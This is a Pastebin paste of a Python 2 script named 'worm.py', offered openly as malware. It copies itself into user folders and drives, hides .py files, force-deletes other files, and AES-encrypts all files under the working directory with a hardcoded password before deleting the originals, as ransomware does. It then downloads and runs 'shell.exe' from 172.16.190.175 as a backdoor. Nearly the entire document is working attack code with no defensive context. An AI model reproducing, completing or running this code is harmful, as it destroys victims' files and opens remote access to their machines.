Advertisement
FlyFar

worm.py

Jun 6th, 2023
970
0
Never
1
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 5.61 KB | Cybersecurity | 0 0
  1. #========WORM==========
  2. from shutil import copyfile
  3. import os, getpass
  4. from sys import argv
  5. import win32con, win32api
  6. from Crypto.Hash import SHA256
  7. from Crypto.Cipher import AES
  8. import os, random, sys, pkg_resources
  9. from urllib2 import urlopen
  10. import subprocess as sp
  11. import shutil
  12.  
  13. def propagate():
  14.     #gets the current location of the worm
  15.     src=os.path.abspath("worm.py")
  16.     #gets the username of the linux user
  17.     usr=getpass.getuser()
  18.  
  19.     #checks for E:/ drive on windows
  20.     if(os.path.isdir("E:\\")):
  21.         #saves location
  22.         dst="E:"+"\\worm.py"
  23.  
  24.     #checks for Documents folder in Linux
  25.     elif(os.path.isdir("/home/"+usr+"/Documents/")):
  26.         #saves location
  27.         dst="/home/"+usr+"/Documents/"+"worm.py"
  28.  
  29.     #checks for C:/ drive on windows
  30.     elif(os.path.isdir("C:\\")):
  31.         #saves location
  32.         dst="C:\\Users\\"+usr+"\\worm.py"
  33.  
  34.     #checks for Downloads folder in Linux
  35.     elif(os.path.isdir("/home/"+usr+"/Downloads/")):
  36.         #saves location
  37.         dst="/home/"+usr+"/Downloads/"+"worm.py"
  38.    
  39.     else:
  40.         #save location of current directory    
  41.         dst=os.getcwd()+"\\worm1.py"
  42.  
  43.     #Copies file to new location   
  44.     copyfile(src,dst)
  45.     run(dst)
  46.     print "Worm Location"
  47.     print "dst: "+dst
  48.     print "src: "+src
  49.  
  50.  
  51.  
  52. def copy():
  53.         script = argv
  54.         name = str(script[0])
  55.         b = os.path.getsize(os.path.abspath("C:"))
  56.         for i in range(0,4):
  57.                 directoryName = "copy"+str(i)
  58.                 os.mkdir(directoryName)
  59.                 shutil.copy(name, directoryName)
  60.                 src=os.path.abspath(directoryName)
  61.  
  62. def hide():
  63.         for fname in os.listdir('.'):
  64.                 if fname.find('.py') == len(fname) - len('.py'):
  65.                         #make the file hidden
  66.                         win32api.SetFileAttributes(fname,win32con.FILE_ATTRIBUTE_HIDDEN)
  67.                 elif fname.find('.txt') == len(fname) - len('.txt'):
  68.                         #make the file read only
  69.                         win32api.SetFileAttributes(fname,win32con.FILE_ATTRIBUTE_READONLY)
  70.                 else:
  71.                         #to force deletion of a file set it to normal
  72.                         win32api.SetFileAttributes(fname, win32con.FILE_ATTRIBUTE_NORMAL)
  73.                         os.remove(fname)
  74.  
  75.  
  76.  
  77.  
  78. def encrypt(key, filename):
  79.         chunksize = 64 * 1024
  80.         outFile = os.path.join(os.path.dirname(filename), "(encrypted)"+os.path.basename(filename))
  81.         filesize = str(os.path.getsize(filename)).zfill(16)
  82.         IV = ''
  83.  
  84.         for i in range(16):
  85.                 IV += chr(random.randint(0, 0xFF))
  86.        
  87.         encryptor = AES.new(key, AES.MODE_CBC, IV)
  88.  
  89.         with open(filename, "rb") as infile:
  90.                 with open(outFile, "wb") as outfile:
  91.                         outfile.write(filesize)
  92.                         outfile.write(IV)
  93.                         while True:
  94.                                 chunk = infile.read(chunksize)
  95.                                
  96.                                 if len(chunk) == 0:
  97.                                         break
  98.  
  99.                                 elif len(chunk) % 16 !=0:
  100.                                         chunk += ' ' *  (16 - (len(chunk) % 16))
  101.  
  102.                                 outfile.write(encryptor.encrypt(chunk))
  103.  
  104.  
  105. def decrypt(key, filename):
  106.         outFile = os.path.join(os.path.dirname(filename), os.path.basename(filename[11:]))
  107.         chunksize = 64 * 1024
  108.         with open(filename, "rb") as infile:
  109.                 filesize = infile.read(16)
  110.                 IV = infile.read(16)
  111.  
  112.                 decryptor = AES.new(key, AES.MODE_CBC, IV)
  113.                
  114.                 with open(outFile, "wb") as outfile:
  115.                         while True:
  116.                                 chunk = infile.read(chunksize)
  117.                                 if len(chunk) == 0:
  118.                                         break
  119.  
  120.                                 outfile.write(decryptor.decrypt(chunk))
  121.  
  122.                         outfile.truncate(int(filesize))
  123.        
  124. def allfiles():
  125.         allFiles = []
  126.         for root, subfiles, files in os.walk(os.getcwd()):
  127.                 for names in files:
  128.                         allFiles.append(os.path.join(root, names))
  129.  
  130.         return allFiles
  131.  
  132. def action():
  133.         password = "QEWJR3OIR2YUD92128!$##%$^*(093URO3DMKMXS,NCFJVHBHDUWQDHUDHQ9jswdhgehydxbhwqdbwyhfc"
  134.         encFiles = allfiles()
  135.         for Tfiles in encFiles:
  136.                 if os.path.basename(Tfiles).startswith("(encrypted)"):
  137.                         print "%s is already encrypted" %str(Tfiles)
  138.                         pass
  139.  
  140.                 elif Tfiles == os.path.join(os.getcwd(), sys.argv[0]):
  141.                         pass
  142.                 else:
  143.                         encrypt(SHA256.new(password).digest(), str(Tfiles))
  144.                         print "Done encrypting %s" %str(Tfiles)
  145.                         os.remove(Tfiles)
  146.  
  147.  
  148. def downloadBackdoor(url):
  149.     # get filename from url
  150.                 filename = url.split('/')[-1].split('#')[0].split('?')[0]
  151.                 content = urlopen(url).read()
  152.                 outfile = open(filename, "wb")
  153.                 outfile.write(content)
  154.                 outfile.close()
  155.                 run(os.path.abspath(filename))
  156.                 print "finish downloading"
  157.        
  158.  
  159. def run(prog):
  160.         process = sp.Popen(prog, shell=True)
  161.         process.wait()
  162.  
  163.  
  164. def main():
  165.         copy()
  166.         #hide()
  167.         #propagate()
  168.         action()
  169.         downloadBackdoor("http://172.16.190.175/security/dist/shell.exe")
  170.        
  171.        
  172.  
  173. if __name__=="__main__":
  174.         main()
  175.        
  176.  
  177.  
  178.        
  179.                
  180.  
  181.  
  182.  
  183.  
  184.  
  185.  
  186.  
  187.  
  188.  
Tags: worm
Advertisement
Comments
Add Comment
Please, Sign In to add comment
Advertisement